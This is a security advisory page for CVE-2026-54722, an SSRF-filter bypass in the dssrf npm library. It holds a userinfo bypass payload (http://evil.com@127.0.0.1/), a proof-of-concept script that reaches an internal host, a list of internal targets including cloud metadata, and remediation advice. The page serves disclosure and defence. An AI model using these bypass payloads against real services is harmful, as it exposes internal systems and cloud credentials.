Skip to main content

dssrf EUVDEUVD-2026-51232

| CVE-2026-54722 HIGH
Improper Neutralization of Equivalent Special Elements (CWE-76)
2026-07-30 https://github.com/HackingRepo/dssrf-js GHSA-cg4g-m8jx-vjv2
8.7
CVSS 4.0 · Vendor: https://github.com/HackingRepo/dssrf-js
Share

Severity by source

Vendor (https://github.com/HackingRepo/dssrf-js) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.2 HIGH

Network-reachable, unauthenticated, low-complexity SSRF-guard bypass; confidentiality High from reading internal/IMDS data, integrity Low from limited internal request forgery.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/HackingRepo/dssrf-js).

CVSS VectorVendor: https://github.com/HackingRepo/dssrf-js

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Jul 30, 2026 - 17:28 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jul 30, 2026 - 17:22 vuln.today
cvss_changed
CVSS changed
Jul 30, 2026 - 17:22 NVD
8.7 (HIGH)
Source Code Evidence Fetched
Jul 30, 2026 - 16:51 vuln.today
Analysis Generated
Jul 30, 2026 - 16:51 vuln.today
CVE Published
Jul 30, 2026 - 16:26 cve.org
HIGH

DescriptionCVE.org

Summary

is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.

Vulnerability

In helpers.ts, is_url_safe does:

ts
u = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname;    // resolved from the corrupted string

What happens step by step

Input: http://evil.com@127.0.0.1/

  1. remove_at_symbol_in_stringhttp://evil.com127.0.0.1/
  2. new URL(...)hostname = "evil.com127.0.0.1"
  3. Not a bare IP, not IPv6 → passes all IP checks
  4. is_hostname_resolve_to_internal_ip("evil.com127.0.0.1") → NXDOMAIN → returns false
  5. Result: true (safe) - but any HTTP client using the *original* URL connects to 127.0.0.1

Proof of Concept

js
import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';

// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');

const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL  = 'http://10.0.0.1/';

// dssrf should block both - it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');

// HTTP client with the bypass URL - gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
  const res = await got(BYPASS_URL, { retry: { limit: 0 } });
  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');
} catch (e) {
  console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}

Root Cause

@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.

Suggested Fix

Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():

ts
const parsed = new URL(u);

// Reject userinfo - '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
  return false;
}

A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.

Impact

  • Affected version: 1.0.3 (latest)
  • Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (169.254.169.254), any internal hostname via userinfo prefix
  • Note: The GHSA-8p33-q827-ghj5 advisory patched version (1.0.3) should be updated since this vector was not covered by that fix

Users are strongly advised to upgrade to dssrf 1.0.4

AnalysisAI

SSRF filter bypass in the dssrf npm library (versions <= 1.0.3) lets attackers defeat the is_url_safe() guard by prefixing a URL with a userinfo component (e.g. http://evil.com@127.0.0.1/). Because remove_at_symbol_in_string() strips the '@' from the raw string before new URL() parses it, the hostname is corrupted into a non-resolving string that passes all internal-IP checks, while an HTTP client fed the original URL still connects to the internal host. Publicly available exploit code exists (working PoC using nock/got in the advisory), though there is no evidence of active exploitation; this vector was missed by the earlier GHSA-8p33-q827-ghj5 fix.

Technical ContextAI

dssrf is a JavaScript/TypeScript SSRF-mitigation library whose is_url_safe() function is meant to reject URLs pointing at internal or link-local addresses before an application fetches them. The flaw is rooted in CWE-76 (Improper Neutralization of Equivalent Special Elements): per RFC 3986, the '@' in a URL authority separates the userinfo (credentials) from the host, and WHATWG's new URL() parser correctly discards userinfo when computing .hostname. By pre-stripping every '@' from the raw string with remove_at_symbol_in_string() before parsing, dssrf merges the userinfo into the host, so 'evil.com@127.0.0.1' becomes the bogus hostname 'evil.com127.0.0.1', which is neither a bare IPv4/IPv6 literal nor resolvable, causing is_hostname_resolve_to_internal_ip() to return NXDOMAIN and the validator to declare the URL safe. The CPE identifies the single affected package as pkg:npm/dssrf.

RemediationAI

Vendor-released patch: upgrade dssrf to 1.0.4, which removes the remove_at_symbol_in_string() call from the URL-safety path and instead rejects any parsed URL whose username or password (userinfo) component is non-empty; see the fix in PR https://github.com/HackingRepo/dssrf-js/pull/98 and commit 9211f91bf532433a1a1b27d946571546a63664b3. If you cannot upgrade immediately, add a compensating pre-check in your own code that rejects any URL where the parsed URL.username or URL.password is non-empty (equivalently, block URLs whose authority contains '@' before the host) before passing it to dssrf or to any HTTP client - the trade-off is that legitimate URLs carrying embedded basic-auth credentials will also be refused, which is acceptable for most SSRF-sensitive fetch paths. As an additional layer, ensure the outbound HTTP client is confined by network egress rules that deny access to loopback, RFC1918, link-local, and 169.254.169.254 (IMDS) ranges, so a validator bypass cannot reach cloud metadata or internal services.

Share

EUVD-2026-51232 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy